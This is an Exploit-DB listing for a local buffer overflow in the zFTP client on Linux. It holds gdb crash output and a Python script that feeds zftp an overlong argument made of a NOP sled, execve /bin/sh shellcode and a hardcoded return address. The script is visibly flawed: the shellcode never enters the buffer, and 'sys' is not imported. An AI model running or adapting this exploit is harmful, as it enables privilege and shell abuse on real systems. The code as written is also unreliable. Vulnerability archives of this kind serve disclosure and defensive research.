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# zFTP Client 20061220 - 'Connection Name' Local Buffer Overflow

**EDB-ID:**  
40203

**CVE:**  
N/A

**EDB Verified:** ✘

**Author:**  
[JUAN SACCO](#)

**Type:**  
[LOCAL](#)

**Exploit:**  

**Platform:**  
[LINUX](#)

**Date:**  
2016-08-05

**Vulnerable App:** 



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```
# Exploit developed using Exploit Pack v5.4
# Exploit Author: Juan Sacco - http://www.exploitpack.com -
# jsacco@exploitpack.com
# Program affected: zFTP Client
# Affected value: NAME under FTP connection
# Where in the code: Line 30 in strcpy_chk.c
# __strcpy_chk (dest=0xb7f811c0 <cdf_value> "/KUIP", src=0xb76a6680
"/MACRO", destlen=0x50) at strcpy_chk.c:30
# Version: 20061220+dfsg3-4.1
#
# Tested and developed under: Kali Linux 2.0 x86 - https://www.kali.org
# Program description: ZFTP is a macro-extensible file transfer program
which supports the
# transfer of formatted, unformatted and ZEBRA RZ files
# Kali Linux 2.0 package: pool/main/c/cernlib/zftp_20061220+dfsg3-
4.1_i386.deb
# MD5sum: 524217187d28e4444d6c437ddd37e4de
# Website: http://cernlib.web.cern.ch/cernlib/
#
# gdb$ run `python -c 'print "A"*30`
# Starting program: /usr/bin/zftp `python -c 'print "A"*30`
# *** buffer overflow detected ***: /usr/bin/zftp terminated
# ===== Backtrace: =====
# /lib/i386-linux-gnu/i686/cmov/libc.so.6(+0x6c773)[0xb6fd1773]
# /lib/i386-linux-gnu/i686/cmov/libc.so.6(__fortify_fail+0x45)[0xb7061b85]
# /lib/i386-linux-gnu/i686/cmov/libc.so.6(+0xfac3a)[0xb705fc3a]
# /lib/i386-linux-gnu/i686/cmov/libc.so.6(__strcpy_chk+0x37)[0xb705f127]
# /usr/lib/i386-linux-gnu/libpacklib.so.1_gfortran(csetup+0x1a4)
[0xb7417864]
# /usr/lib/i386-linux-gnu/libpacklib.so.1_gfortran(csetup_+0x24)
[0xb7418604]
# /usr/lib/i386-linux-gnu/libpacklib.so.1_gfortran(czopen_+0xd4)
[0xb73f6d14]
# /usr/bin/zftp[0x804dc9b]

import os, subprocess

def run():
    try:
        print "# zFTP Client - Local Buffer Overflow by Juan Sacco"
        print "# This Exploit has been developed using Exploit Pack -
http://exploitpack.com"
        # NOPSLED + SHELLCODE + EIP

        buffersize = 100
        nopsled = "\x90"*30
        shellcode =
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
        eip = "\x40\xf3\xff\xbf"
        buffer = nopsled * (buffersize-len(shellcode)) + eip
        subprocess.call(["zftp ", ' ', buffer])

    except OSError as e:
        if e.errno == os.errno.ENOENT:
            print "Sorry, zFTP client- Not found!"
        else:
            print "Error executing exploit"
            raise

def howtousage():
    print "Snap! Something went wrong"
    sys.exit(-1)

if __name__ == '__main__':
    try:
        print "Exploit zFTP Client - Local Overflow Exploit"
        print "Author: Juan Sacco - Exploit Pack"
```

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```
except IndexError:
    howtousage()
run()
```

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